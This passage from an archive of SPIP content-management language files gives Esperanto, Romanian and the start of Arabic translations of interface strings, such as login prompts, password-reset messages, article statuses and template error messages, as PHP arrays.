'icone_ecrire_article' => 'Skribi novan artikolon',
'icone_edition_site' => 'Redaktejo',
'icone_gestion_langues' => 'Mastrumado de lingvoj',
'icone_informations_personnelles' => 'Personaj datenoj',
'icone_interface_complet' => 'kompleta interfaco',
'icone_interface_simple' => 'Simpla interfaco',
'icone_maintenance_site' => 'Retejo-bontenado',
'icone_messagerie_personnelle' => 'Persona mesaĝilo',
'icone_repartition_debut' => 'Afiŝi la distribuon ekde la komenco',
'icone_rubriques' => 'Rubrikoj',
'icone_sauver_site' => 'Savkopii la retejon',
'icone_site_entier' => 'La tuta retejo',
'icone_sites_references' => 'Referencigitaj retejoj',
'icone_statistiques' => 'Statistikoj de la retejo',
'icone_suivi_activite' => 'Gvati vivon de la retejo',
'icone_suivi_actualite' => 'Evoluado de la retejo',
'icone_suivi_pettions' => 'Superrigardi/mastrumi la petskribon',
'icone_suivi_revisions' => 'Modifoj de artikoloj',
'icone_supprimer_document' => 'Forigi tiun dokumenton',
'icone_supprimer_image' => 'Forigi tiun bildon',
'icone_tous_articles' => 'Ĉiuj viaj artikoloj',
'icone_tous_auteur' => 'Ĉiuj aŭtoroj',
'icone_tous_visiteur' => 'Ĉiuj vizitantoj',
'icone_visiter_site' => 'Vidi la publika spaco',
'icone_voir_en_ligne' => 'Vidi ĉeretigite',
'img_indisponible' => 'nedisponebla bildo',
'impossible' => 'ne eblas',
'info_a_suivre' => 'STABEJO »',
'info_acces_interdit' => 'Malpermesata aliro',
'info_acces_refuse' => 'Rifuzita aliro',
'info_action' => 'Ago : @action@',
'info_administrer_rubriques' => 'Vi povas mastrumi tiun rubrikon kaj ties subrubrikojn',
'info_adresse_non_indiquee' => 'Vi indikis neniun adreson por testi !',
'info_aide' => 'HELPO :',
'info_ajouter_mot' => 'Aldoni tiun vorton',
'info_annonce' => 'ANONCO',
'info_annonces_generales' => 'Ĝeneralaj anoncoj :',
'info_article_propose' => 'Proponita artikolo',
'info_article_publie' => 'Publikigita artikolo',
'info_article_redaction' => 'Redaktata artikolo',
'info_article_refuse' => 'Rifuzita artikolo',
'info_article_supprime' => 'Forviŝita artikolo',
'info_articles' => 'Artikoloj',
'info_articles_a_valider' => 'Validigendaj artikoloj',
'info_articles_nb' => '@nb@ artikoloj',
'info_articles_proposes' => 'Proponitaj artikoloj',
'info_articles_un' => '1 artikolo',
'info_auteurs_nombre' => 'aŭtoro(j) :',
'info_authentification_ftp' => 'Aŭtentigo (per FTP).',
'info_breves_2' => 'fulm-informoj',
'info_breves_nb' => '@nb@ fulm-informoj',
'info_breves_un' => '1 fulm-informo',
'info_connexion_refusee' => 'Konektiĝo rifuzata',
'info_contact_developpeur' => 'Bonvolu kontakti programiston.',
'info_contenance' => 'Tiu retejo enhavas :',
'info_contribution' => 'kontribuaĵoj',
'info_copyright' => '@spip@ estas libera programo distribuata @lien_gpl@.',
'info_copyright_doc' => 'Por pliaj informoj vidu la retpaĝon <a href="@spipnet@">@spipnet_affiche@</a>.',
'info_copyright_gpl' => 'sub licenco GPL',
'info_cours_edition' => 'Viaj redaktataj artikoloj',
'info_creer_repertoire' => 'Bonvolu krei dosieron aŭ dosierujon kies nomo estu :',
'info_creer_repertoire_2' => 'ene de la subdosierujo <b>@repertoire@</b>, kaj :',
'info_creer_vignette' => 'aŭtomata kreo de la vinjeto',
'info_creerdansrubrique_non_autorise' => 'Vi ne havas sufiĉajn rajtojn por krei enhavo en ĉi tiu rubriko',
'info_deplier' => 'Malfaldi',
'info_descriptif_nombre' => 'priskribo(j) :',
'info_description' => 'Priskribo :',
'info_description_2' => 'Priskribo :',
'info_dimension' => 'Dimensioj :',
'info_documents_nb' => '@nb@ dokumentoj',
'info_documents_un' => '1 dokumento',
'info_ecire_message_prive' => 'Skribi privatan mesaĝon',
'info_email_invalide' => 'Nevalida retpoŝtadreso.',
'info_en_cours_validation' => 'Viaj redaktataj artikoloj',
'info_en_ligne' => 'Nun ĉerete :',
'info_envoyer_message_prive' => 'Sendi privatan mesaĝon al tiu ĉi aŭtoro',
'info_erreur_requete' => 'Eraro en la peto : ',
'info_erreur_squelette2' => 'Neniu skeleto <b>@fichier@</b> disponeblas...',
'info_erreur_systeme' => 'Sistemo-eraro (errno @errsys@)',
'info_erreur_systeme2' => 'Eble la fiksdisko plenas, aŭ la datenbazo estas difektita.<br />
<span style="color:red;">Provu<a href=\'@script@\'>ripari la datenbazon</a>,
aŭ kontaktu vian retgastiganton.</span>',
'info_fini' => 'Finite !',
'info_format_image' => 'Bildaj formatoj uzeblaj por krei vinjetojn : @gd_formats@.',
'info_format_non_defini' => 'nedefinita formato',
'info_grand_ecran' => 'Granda ekrano',
'info_image_aide' => 'HELPILO',
'info_image_process_titre' => 'Metodo pri vinjet-farado',
'info_impossible_lire_page' => '<b>Eraro !</b> Ne eblas legi la paĝon <tt> <html>@test_proxy@</html> </tt> tra la prokura servilo <tt>',
'info_installation_systeme_publication' => 'Instalo de la publikiga sistemo...',
'info_installer_documents' => 'Vi povas aŭtomate instali ĉiujn dokumentojn troviĝantajn en la dosiero @upload@.',
'info_installer_ftp' => 'Kiel mastrumanto, vi povas instali (FTP-e) dosierojn en la dosierujon @upload@ kaj poste rekte selekti ilin ĉi tie.',
'info_installer_images' => 'Vi povas instali bildojn je la formatoj JPEG, GIF kaj PNG.',
'info_installer_images_dossier' => 'Instali bildojn en la dosierujon @upload@ por povi ilin selekti ĉi tie.',
'info_interface_complete' => 'kompleta interfaco',
'info_interface_simple' => 'Simpla interfaco',
'info_joindre_document_article' => 'Vi povas ligi kun tiu artikolo dokumentojn tiajn, kiaj',
'info_joindre_document_rubrique' => 'Vi povas ligi kun tiu rubriko dokumentojn tiajn, kiaj',
'info_joindre_documents_article' => 'Vi povas ligi kun tiu artikolo dokumentojn tiajn, kiaj :',
'info_l_article' => 'la artikolo',
'info_la_breve' => 'la fulm-informo',
'info_la_rubrique' => 'la rubriko',
'info_langue_principale' => 'Ĉefa lingvo de la retejo',
'info_largeur_vignette' => '@largeur_vignette@ x @hauteur_vignette@ bilderoj',
'info_les_auteurs_1' => 'de @les_auteurs@',
'info_logo_format_interdit' => 'Nur vinjetoj je formatoj @formats@ estas permesataj.',
'info_logo_max_poids' => 'Vinjetoj devige pezu malpli ol @maxi@ (tiu dosiero pezas @actuel@).',
'info_mail_fournisseur' => 'vi@retalir-provizisto.com',
'info_message_2' => 'MESAĜO',
'info_message_supprime' => 'FORIGITA MESAĜO',
'info_messages_nb' => '@nb@ mesaĝoj',
'info_messages_un' => '1 mesaĝo',
'info_mise_en_ligne' => 'Dato de ĉeretigo : ',
'info_modification_parametres_securite' => 'modifoj de la sekuraj parametroj',
'info_mois_courant' => 'En la kuranta monato :',
'info_mot_cle_ajoute' => 'La jena ŝlosilvorto estas ligita kun',
'info_multi_herit' => 'Defaŭlta lingvo',
'info_multi_langues_soulignees' => 'Por la <u>substrekitaj lingvoj</u>, ĉiuj tekstoj de la interfaco estas tute aŭ parte tradukitaj. Kiam vi elektas tiujn lingvojn, multaj elementoj de la publika retejo (datenoj, formularoj) estos aŭtomate tradukitaj. Por la nesubstrekitaj lingvoj, tiuj elementoj afiŝiĝos en la ĉefa lingvo de la retejo.',
'info_multilinguisme' => 'Multlingvismo',
'info_nom_non_utilisateurs_connectes' => 'Via nomo ne aperas en la listo de la ensalutintaj uzantoj.',
'info_nom_utilisateurs_connectes' => 'Via nomo aperas en la listo de la ensalutintaj uzantoj.',
'info_nombre_en_ligne' => 'Nun ensalutintaj :',
'info_non_resultat' => 'Neniu rezulto por "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'Vi ne uzas la internan mesaĝilon de tiu retejo.',
'info_nouveau_message' => 'VI HAVAS NOVAN MESAĜON',
'info_nouveaux_messages' => 'VI HAVAS @total_messages@ NOVA(J)N MESAĜO(J)N',
'info_numero_abbreviation' => 'N° ',
'info_obligatoire' => 'Tiu ĉi informo estas deviga',
'info_pense_bete' => 'MEMORIGILO',
'info_petit_ecran' => 'Eta ekrano',
'info_petition_close' => 'Petskribo fermita',
'info_pixels' => 'bilderoj',
'info_plusieurs_mots_trouves' => 'Pluraj ŝlosilvortoj trovitaj por "@cherche_mot@" :',
'info_portfolio_automatique' => 'Aŭtomata bildaro :',
'info_premier_resultat' => '[@debut_limit@ unuaj rezultoj el @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ unuaj rezultoj el @total@]',
'info_propose_1' => '[@nom_site_spip@] Proponas : @titre@',
'info_propose_2' => 'Proponita artikolo
---------------',
'info_propose_3' => 'La artikolo "@titre@" estas proponita por publikigo.',
'info_propose_4' => 'Vi estas petata konsulti ĝin kaj doni vian opinion',
'info_propose_5' => 'en la forumo ligita al ĝi. Ĝi estas disponebla el la adreso :',
'info_publie_01' => 'La artikolo "@titre@" estis validigita de @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] PUBLIKIGAS : @titre@',
'info_publie_2' => 'Artikolo publikigita
--------------',
'info_rechercher' => 'Serĉi',
'info_rechercher_02' => 'Serĉi :',
'info_remplacer_vignette' => 'Anstataŭi la defaŭltan vinjeton per propra vinjeto :',
'info_rubriques_nb' => '@nb@ rubrikoj',
'info_rubriques_un' => '1 rubriko',
'info_sans_titre_2' => 'sen titolo',
'info_selectionner_fichier' => 'Vi povas selekti dosieron el la dosierujo @upload@',
'info_selectionner_fichier_2' => 'Elektu dosieron :',
'info_sites_nb' => '@nb@ retejoj',
'info_sites_un' => '1 retejo',
'info_supprimer_vignette' => 'forigi la vinjeton',
'info_symbole_bleu' => 'La <b>blua</b> simbolo indikas <b>memorigilon</b> : tio estas al vi persone adresata memoriga mesaĝo.',
'info_symbole_jaune' => 'La <b>flava</b> simbolo indikas <b>anoncon al ĉiuj redaktantoj</b> : modifebla de ĉiuj mastrumantoj, kaj videbla de ĉiuj redaktantoj.',
'info_symbole_vert' => 'La <b>verda</b> simbolo indikas la <b>mesaĝojn interŝanĝitajn kun aliaj uzantoj</b> de la retejo.',
'info_telecharger_nouveau_logo' => 'Alŝuti novan vinjeton :',
'info_telecharger_ordinateur' => 'Alŝuti ekde via komputilo :',
'info_tous_resultats_enregistres' => '[ĉiuj rezultoj estas registritaj]',
'info_tout_afficher' => 'Ĉion afiŝi',
'info_travaux_texte' => 'Tiu retejo ne jam estas konfigurita. Bonvolu reveni poste...',
'info_travaux_titre' => 'Retejo prilaborata ',
'info_trop_resultat' => 'Tro da rezultoj por "@cherche_mot@" ; bonvolu fajnigi la serĉokriteriojn.',
'info_utilisation_messagerie_interne' => 'Vi uzas la internan poŝton de tiu ĉi retejo.',
'info_valider_lien' => 'validigi tiun ĉi ligilon',
'info_verifier_image' => ', bonvolu kontroli ĉu viaj bildoj estas trafe transigitaj.',
'info_vignette_defaut' => 'Defaŭlta vinjeto',
'info_vignette_personnalisee' => 'Persona vinjeto',
'info_visite' => 'vizito :',
'info_vos_rendez_vous' => 'Viaj estontaj rendevuoj',
'infos_vos_pense_bete' => 'Viaj memorigiloj',
// L
'label_ajout_id_rapide' => 'Rapida aldono',
'label_poids_fichier' => 'Grandeco',
'lien_afficher_icones_seuls' => 'Afiŝi nur la piktogramojn',
'lien_afficher_texte_icones' => 'Afiŝi la piktogramojn kaj la tekston',
'lien_afficher_texte_seul' => 'Afiŝi nur la tekston',
'lien_liberer' => 'liberigi',
'lien_liberer_tous' => 'Liberigi ĉiujn',
'lien_nouvea_pense_bete' => 'NOVA MEMORIGILO',
'lien_nouveau_message' => 'NOVA MESAĜO',
'lien_nouvelle_annonce' => 'NOVA ANONCO',
'lien_petitions' => 'PETSKRIBO',
'lien_popularite' => 'populareco : @popularite@%',
'lien_racine_site' => 'RADIKO DE LA RETEJO',
'lien_reessayer' => 'reprovi',
'lien_repondre_message' => 'Respondi al tiu mesaĝo',
'lien_supprimer' => 'forigi',
'lien_tout_afficher' => 'Afiŝi ĉion',
'lien_visite_site' => 'viziti tiun retejon',
'lien_visites' => '@visites@ vizitoj',
'lien_voir_auteur' => 'Vidi tiun aŭtoron',
'ligne' => 'Linio',
'login' => 'Ensaluti',
'login_acces_prive' => 'aliro al la privata spaco',
'login_autre_identifiant' => 'ensaluti per alia salutnomo',
'login_cookie_accepte' => 'Bonvolu agordi vian retumilon por ke ĝi akceptu ilin (almenaŭ por tiu ĉi retejo).',
'login_cookie_oblige' => 'Por sekure ensalutiĝi en tiu retejo, vi devas akcepti la kuketojn.',
'login_deconnexion_ok' => 'Elsalutinta.',
'login_erreur_pass' => 'Pasvort-eraro.',
'login_espace_prive' => 'privata spaco',
'login_identifiant_inconnu' => 'La salutnomo « @login@ » estas nekonata.',
'login_login' => 'Salutnomo :',
'login_login2' => 'Salutnomo aŭ retpoŝtadreso :',
'login_login_pass_incorrect' => '(Salutnomo aŭ pasvorto ne valida.)',
'login_motpasseoublie' => 'ĉu pasvorto forgesita ?',
'login_non_securise' => 'Atentu, tiu formularo ne estas sekurigita ;.
Se vi ne volas ke via pasvorto estu fraŭde
interkaptita ĉe la reto, bonvolu aktivigi
Javascript-on en via retumilo',
'login_nouvelle_tentative' => 'Nova provo',
'login_par_ici' => 'Vi estas registrita... ĉi tien...',
'login_pass2' => 'Pasvorto :',
'login_preferez_refuser' => '<b>Se vi preferas rifuzi kuketojn</b>, alia konektometodo (malpli sekura) estas je via dispono :',
'login_recharger' => 'freŝigi tiun ĉi paĝon',
'login_rester_identifie' => 'Resti ensalutinta kelkajn tagojn',
'login_retour_public' => 'Reen al la publika spaco',
'login_retour_site' => 'Reen al la publika spaco',
'login_retoursitepublic' => 'reen al la publika spaco',
'login_sans_cookiie' => 'Ensaluto sen kuketo',
'login_securise' => 'Sekura salutnomo',
'login_sinscrire' => 'registriĝi',
'login_test_navigateur' => 'testo retumilo/rekonektiĝo',
'login_verifiez_navigateur' => '(Kontrolu tamen ke via retumilo ne memoras pri via pasvorto...)',
// M
'masquer_colonne' => 'Kaŝi tiun ĉi kolumnon',
'masquer_trad' => 'kaŝi la tradukojn',
'module_fichiers_langues' => 'Dosieroj de lingvo',
// N
'navigateur_pas_redirige' => 'Se via retumilo ne redirektiĝas, daŭrigu musklakante ĉi tie.',
'numero' => 'Numero',
// O
'occurence' => 'Trafo',
'onglet_affacer_base' => 'Forigi la datenbazon',
'onglet_auteur' => 'La aŭtoro',
'onglet_contenu_site' => 'Enhavo de la retejo',
'onglet_evolution_visite_mod' => 'Evoluado',
'onglet_fonctions_avances' => 'Ampleksaj funkcioj',
'onglet_informations_personnelles' => 'Personaj datenoj',
'onglet_interactivite' => 'Interagado',
'onglet_messagerie' => 'Mesaĝilo',
'onglet_repartition_rubrique' => 'Distribuo laŭ rubrikoj',
'onglet_save_restaur_base' => 'Savkopii/restaŭri la datenbazon',
'onglet_vider_cache' => 'Malplenigi la staplon',
// P
'pass_choix_pass' => 'Bonvolu elekti vian novan pasvorton :',
'pass_erreur' => 'Eraro',
'pass_erreur_acces_refuse' => '<b>Eraro :</b> vi ne plu havas aliron al tiu retejo.',
'pass_erreur_code_inconnu' => '<b>Eraro :</b> tiu kodo kongruas kun neniu el la vizitantoj rajtantaj aliri tiun ĉi retejon.',
'pass_erreur_non_enregistre' => '<b>Eraro :</b> la retpoŝtadreso <tt>@email_oubli@</tt> ne estas registrita ĉi tie.',
'pass_erreur_non_valide' => '<b>Eraro :</b> tiu retpoŝtadreso <tt>@email_oubli@</tt> ne validas !',
'pass_erreur_probleme_technique' => '<b>Eraro :</b> pro teknika problemo, la retmesaĝo ne povas esti sendata.',
'pass_espace_prive_bla' => 'La privata spaco de tiu ĉi retejo estas malfermita al
vizitantoj, post ties registriĝo. Tio farita, vi povos
konsulti la redaktatajn artikolojn, proponi artikolojn
kaj partopreni en ĉiuj forumoj.',
'pass_forum_bla' => 'Vi petis por kontribui en forumo
rezervita al registritaj vizitantoj.',
'pass_indiquez_cidessous' => 'Indiku ĉi-sube la retpoŝtadreson laŭ kiu vi
antaŭe registriĝis. Vi
ricevos retmesaĝon kiu indikos al vi kion fari por
reakiri vian alir-rajton.',
'pass_mail_passcookie' => '(tio ĉi estas aŭtomata mesaĝo)
Por reakiri alireblon al la retejo
@nom_site_spip@ (@adresse_site@)
Bonvolu iri al la jena adreso :
@sendcookie@
Vi povos tiam entajpi novan pasvorton
kaj ensaluti.
',
'pass_mot_oublie' => 'Pasvorto forgesita',
'pass_nouveau_enregistre' => 'Via nova pasvorto estas registrita.',
'pass_nouveau_pass' => 'Nova pasvorto',
'pass_ok' => 'JES',
'pass_oubli_mot' => 'Pasvorto-forgeso',
'pass_procedure_changer' => 'Por ŝanĝi vian pasvorton, ni unue devas kontroli vian identecon. Por tio, specifu al ni la asociitan retpoŝtadreson el via konto.',
'pass_quitter_fenetre' => 'Forlasi tiun fenestron',
'pass_rappel_login' => 'Memoru : via ensalutilo (salutnomo) estas « @login@ ».',
'pass_recevoir_mail' => 'Vi ricevos retmesaĝon indikantan al vi kiel retrovi vian aliron al la retejo.',
'pass_retour_public' => 'Reen al la publika spaco',
'pass_rien_a_faire_ici' => 'Nenion por fari ĉi tie.',
'pass_vousinscrire' => 'Registriĝi ĉe tiu retejo',
'precedent' => 'antaŭan',
'previsualisation' => 'Antaŭrigardo',
'previsualiser' => 'Antaŭrigardi',
// R
'retour' => 'Reen',
// S
'spip_conforme_dtd' => 'SPIP konsideras tiun dokumenton konforma al sia DOCTYPE :',
'squelette' => 'skeleto',
'squelette_inclus_ligne' => 'skeleto inkluzivita, linio',
'squelette_ligne' => 'skeleto, linio',
'stats_visites_et_popularite' => '@visites@ vizitoj ; populareco : @popularite@',
'suivant' => 'sekvanta',
// T
'taille_go' => '@taille@ Go',
'taille_ko' => '@taille@ kb',
'taille_mo' => '@taille@ Mb',
'taille_octets' => '@taille@ bitokoj',
'texte_actualite_site_1' => 'Kiam vi estos kutimiĝinta kun la interfaco, vi povos musklaki sur « ',
'texte_actualite_site_2' => 'kompleta interfaco',
'texte_actualite_site_3' => ' » por malfermi pliajn eblecojn.',
'texte_creation_automatique_vignette' => 'La aŭtomata kreado de antaŭrigardaj vinjetoj estas aktivigita ĉe tiu ĉi retejo. Se vi instalas pere de tiu ĉi formularo bildojn je la formato(j) @gd_formats@, ili estos akompanataj de vinjeto kun maksimuma grandeco de @taille_preview@ bilderoj.',
'texte_documents_associes' => 'La sekvantaj dokumentoj estas asociitaj al la artikolo,
sed ili ne estis rekte enmetitaj en ĝin.
Laŭ la enpaĝigo de la publika spaco,
ili povos aperi en formo de alkroĉitaj dokumentoj.',
'texte_erreur_mise_niveau_base' => 'Datenbazo-eraro dum la alniveligo.
La bildo <b>@fichier@</b> ne transŝutiĝis (artikolo @id_article@).
Bone notu tiun referencon, reprovu la alniveligon,
kaj fine kontrolu ke la bildoj plu aperu
en la artikoloj.',
'texte_erreur_visiteur' => 'Vi provis eniri la privatan spacon pere de ne alir-rajtiga salutnomo.',
'texte_inc_auth_1' => 'Vi ensalutis laŭ la
salutnomo <b>@auth_login@</b>, sed tiu ne/ne plu ekzistas en la datenbazo.
Provu',
'texte_inc_auth_2' => 'rekonektiĝi',
'texte_inc_auth_3' => ', post esti eventuale ferminta kaj
restartiginta via retumilon.',
'texte_inc_config' => 'La ŝanĝoj faritaj en tiuj ĉi paĝoj influas grave la
funkciadon de via retejo. Ni konsilas al vi ne plu interveni antaŭ ol esti pli
kutimiĝinta pri la funkciado de la SPIP-sistemo. <br /><br /><b>Pli
ĝenerale, estas tre konsilinde lasi la mastrumadon de tiuj ĉi paĝoj
sub la respondeco de la ĉefa retejestro .</b>',
'texte_inc_meta_1' => 'La sistemo detektis eraron dum skribado de la dosiero <code>@fichier@</code>. Bonvolu, kiel mastrumanto de la retejo,',
'texte_inc_meta_2' => 'kontroli la skriborajtojn',
'texte_inc_meta_3' => 'en la dosierujo <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'Redaktataj',
'texte_statut_poubelle' => 'en rubujo',
'texte_statut_propose_evaluation' => 'proponita por taksado',
'texte_statut_publie' => 'rete publikigita',
'texte_statut_refuse' => 'rifuzita',
'titre_ajouter_mot_cle' => 'ALDONI ŜLOSILVORTON :',
'titre_cadre_raccourcis' => 'RAPIDAJ ALIROJ :',
'titre_changer_couleur_interface' => 'Ŝanĝi la koloron de la interfaco',
'titre_image_admin_article' => 'Vi povas mastrumi tiun ĉi artikolon',
'titre_image_administrateur' => 'Mastrumanto',
'titre_image_aide' => 'Helpo pri tiu elemento',
'titre_image_auteur_supprime' => 'Aŭtoro forigita',
'titre_image_redacteur' => 'Redaktanto sen alireblo',
'titre_image_redacteur_02' => 'Redaktanto',
'titre_image_visiteur' => 'Vizitanto',
'titre_joindre_document' => 'ALDONI DOKUMENTON',
'titre_mots_cles' => 'ŜLOSILVORTOJ',
'titre_probleme_technique' => 'Atentu : teknika problemo (SQL-servilo) malhelpas la aliron al tiu parto de la retejo. Dankon pro via komprenemo.',
'titre_publier_document' => 'PUBLIKIGI DOKUMENTON EN TIU ĈI RUBRIKO',
'titre_signatures_attente' => 'Subskriboj validotaj',
'titre_signatures_confirmees' => 'Subskriboj konfirmitaj',
'titre_statistiques' => 'Statistikoj de la retejo',
'titre_titre_document' => 'Titolo de la dokumento :',
'todo' => 'venonta',
'trad_reference' => '(referenco de la traduktoj)',
// Z
'zbug_balise_b_aval' => ' : posta B marko',
'zbug_balise_inexistante' => 'Marko @balise@ malbone deklarita por @from@',
'zbug_balise_sans_argument' => 'Mankas argumento en la marko @balise@',
'zbug_boucle' => 'iteracio',
'zbug_boucle_recursive_undef' => 'Nedifinita rekursia iteracio : @nom@',
'zbug_calcul' => 'komputado',
'zbug_champ_hors_boucle' => 'Kampo @champ@ eksteras iteracion',
'zbug_champ_hors_motif' => 'Kampo @champ@ eksteras kontekston @motif@',
'zbug_code' => 'kodo',
'zbug_critere_inconnu' => 'Nekonata kriterio @critere@',
'zbug_distant_interdit' => 'Ago ĉe tiu ekstera datenbazo malpermesata',
'zbug_doublon_table_sans_cle_primaire' => 'Duobloj uzitaj ĉe tabelo, kiu ne havas simplan ĉefŝlosilon',
'zbug_doublon_table_sans_index' => 'Duoblaĵoj en la datentabelo sen indekso',
'zbug_erreur_boucle_double' => 'Duobla difino de la interacio @id@',
'zbug_erreur_boucle_fermant' => 'Iteracio @id@ ne fermita',
'zbug_erreur_boucle_syntaxe' => 'Sintakso de la iteracia @id@ ne valida',
'zbug_erreur_compilation' => 'Kompil-eraro',
'zbug_erreur_execution_page' => 'Eraro dum plenumo',
'zbug_erreur_filtre' => 'Filtrilo @filtre@ nedifinita',
'zbug_erreur_meme_parent' => 'La kriterio {meme_parent} nur aplikiĝas je iteracioj (FORUMS) aŭ (RUBRIQUES)',
'zbug_erreur_squelette' => 'Eraro(j) en la skeleto',
'zbug_hors_compilation' => 'Ne kompilita',
'zbug_info_erreur_squelette' => 'Eraro ĉe la retejo',
'zbug_inversion_ordre_inexistant' => 'Inversigo de ne ekzistanta ordo',
'zbug_pagination_sans_critere' => 'Marko #PAGINATION senkriteria {pagination} aŭ uzata en rekursia iteracio',
'zbug_parametres_inclus_incorrects' => 'Ne korektaj inkludaj parametroj : @param@',
'zbug_profile' => 'Kalkuldaŭro : @time@',
'zbug_resultat' => 'rezulto',
'zbug_serveur_indefini' => 'Nedifinata SQL-servilo',
'zbug_statistiques' => 'statistikoj pri SQL-informpetoj ordigitaj laŭ daŭro',
'zbug_table_inconnue' => 'nekonata SQL « @table@ » tabelo',
'zxml_connus_attributs' => 'konataj atributoj',
'zxml_de' => 'de',
'zxml_inconnu_attribut' => 'nekonataj atributoj',
'zxml_inconnu_balise' => 'ne konita marko',
'zxml_inconnu_entite' => 'ne konata ento',
'zxml_inconnu_id' => 'ne konata ID',
'zxml_mais_de' => 'sed',
'zxml_non_conforme' => 'ne kongrua kun la motivo',
'zxml_non_fils' => 'ne estas filo de',
'zxml_nonvide_balise' => 'ne malplena marko',
'zxml_obligatoire_attribut' => 'deviga atributo sed foresta en',
'zxml_succession_fils_incorrecte' => 'sinsekvo de filoj korekta',
'zxml_survoler' => 'superflugi por ekvidi korektaĵojn',
'zxml_valeur_attribut' => 'atributa valoro',
'zxml_vide_balise' => 'malplena marko',
'zxml_vu' => 'antaŭe vidita'
);
?>
public_ro.php 0000666 00000007744 15252547432 0007264 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=ro
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Prima pagină', # MODIF
'article' => 'Articol',
'articles' => 'Articole',
'articles_auteur' => 'Articole de acelaşi autor',
'articles_populaires' => 'Cele mai populare articole',
'articles_rubrique' => 'Articolele acestei rubrici',
'aucun_article' => 'Nu există nici un articol la această adresă',
'aucun_auteur' => 'Nu există nici un autor la această adresă',
'aucun_site' => 'Nu există nici un site la această adresă',
'aucune_breve' => 'Nu există nici o ştire la această adresă',
'aucune_rubrique' => 'Nu există nici o rubrică la această adresă',
'auteur' => 'Autor',
'autres' => 'Altele',
'autres_breves' => 'Alte ştiri',
'autres_groupes_mots_clefs' => 'Alte grupuri de cuvinte-cheie',
'autres_sites' => 'Alte site-uri',
// B
'bonjour' => 'Bună ziua',
// C
'commenter_site' => 'Comentaţi acest site',
'copie_document_impossible' => 'Imposibil de copiat documentul',
// D
'date' => 'Data',
'dernier_ajout' => 'Ultima adăugare',
'dernieres_breves' => 'Ultimele ştiri',
'derniers_articles' => 'Ultimele articole',
'derniers_commentaires' => 'Ultimele comentarii',
'derniers_messages_forum' => 'Ultimele mesaje publicate în forum-uri',
// E
'edition_mode_texte' => 'Editare în mod text a',
'en_reponse' => 'Răspuns la :',
'en_resume' => 'Pe scurt',
'envoyer_message' => 'Trimiteţi un mesaj',
'espace_prive' => 'Secţiunea protejată',
// F
'formats_acceptes' => 'Formate acceptate : @formats@.',
// H
'hierarchie_site' => 'Ierarhia site-ului',
// J
'jours' => 'zile',
// L
'lien_connecter' => 'Conectare',
// M
'meme_auteur' => 'De acelaşi autor',
'meme_rubrique' => 'În aceaşi rubrică',
'memes_auteurs' => 'De aceaşi autori',
'message' => 'Mesaj',
'messages_forum' => 'Mesajele forum-ului', # MODIF
'messages_recents' => 'Cele mai recente mesaje de forum',
'mots_clef' => 'Cuvânt-cheie',
'mots_clefs' => 'Cuvinte-cheie',
'mots_clefs_meme_groupe' => 'Cuvinte-cheie în acelaşi grup',
// N
'navigation' => 'Navigare',
'nom' => 'Nume',
'nouveautes' => 'Noutăţi',
'nouveautes_web' => 'Noutăţi pe Web',
'nouveaux_articles' => 'Articole noi',
'nouvelles_breves' => 'Ştiri noi',
// P
'page_precedente' => 'pagina anterioară',
'page_suivante' => 'pagina următoare',
'par_auteur' => 'de ',
'participer_site' => 'Puteţi deveni o parte activă a acestui site şi puteţi să vă scrieţi propriile articole înregistrându-vă cu ajutorul formularului de mai jos. Veţi primi în scurt timp un email conţinând un cod de acces la secţiunea protejată a acestui site.',
'plan_site' => 'Harta site-ului',
'popularite' => 'Popularitate',
'poster_message' => 'Trimiteţi un mesaj',
'proposer_site' => 'Puteţi propune un site de adăugat în această rubrică :',
// R
'repondre_article' => 'Răspundeţi la acest articol',
'repondre_breve' => 'Răspundeţi la acestă ştire',
'resultats_recherche' => 'Rezultatele căutarii',
'retour_debut_forums' => 'Înapoi la începutul forum-urilor',
'rubrique' => 'Rubrică',
'rubriques' => 'Rubrici',
// S
'signatures_petition' => 'Semnături',
'site_realise_avec_spip' => 'Site realizat cu SPIP',
'sites_web' => 'Site-uri Web',
'sous_rubriques' => 'Sub-rubrici',
'spam' => 'Spam',
'suite' => 'continuă',
'sur_web' => 'Pe Web',
'syndiquer_rubrique' => 'Sindicalizaţi această rubrică',
'syndiquer_site' => 'Sindicalizaţi întregul site',
// T
'texte_lettre_information' => 'Iată scrisoarea de informaţii a site-ului',
'texte_lettre_information_2' => 'Această scrisoare conţine lista noutatilor publicate de la',
// V
'ver_imprimer' => 'Versiunea imprimabilă',
'voir_en_ligne' => 'Vedeţi în direct',
'voir_squelette' => 'vedeţi scheletul acestei pagini'
);
?>
ecrire_ar.php 0000666 00000252406 15252547432 0007236 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=ar
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'تفعيل الملحق',
'affichage' => 'عرض',
'aide_non_disponible' => 'هذا القسم من التعليمات الفورية غير متوافر حالياً بهذه اللغة.',
'annuler_recherche' => 'إلغاء البحث',
'auteur' => 'المؤلف:',
'avis_acces_interdit' => 'الدخول محظور',
'avis_article_modifie' => 'تحذير، @nom_auteur_modif@ عمل على هذا المقال منذ @date_diff@ دقيقة',
'avis_aucun_resultat' => 'لا توجد نتائج.',
'avis_base_inaccessible' => 'لا يمكن الاتصال بقاعدة بيانات @base@.',
'avis_chemin_invalide_1' => 'لا يبدو المسار',
'avis_chemin_invalide_2' => 'الذي حددته صالحاً. الرجاء العودة الى الصفحة السابقة والتأكد من المعلومات المدخلة. والتأكد من المعلومات المدخلة.',
'avis_connexion_echec_1' => 'فشل الاتصال بقاعدة البيانات.',
'avis_connexion_echec_2' => 'عد الى الصفحة السابقة وتأكد من صحة المعلومات التي أدخلتها.',
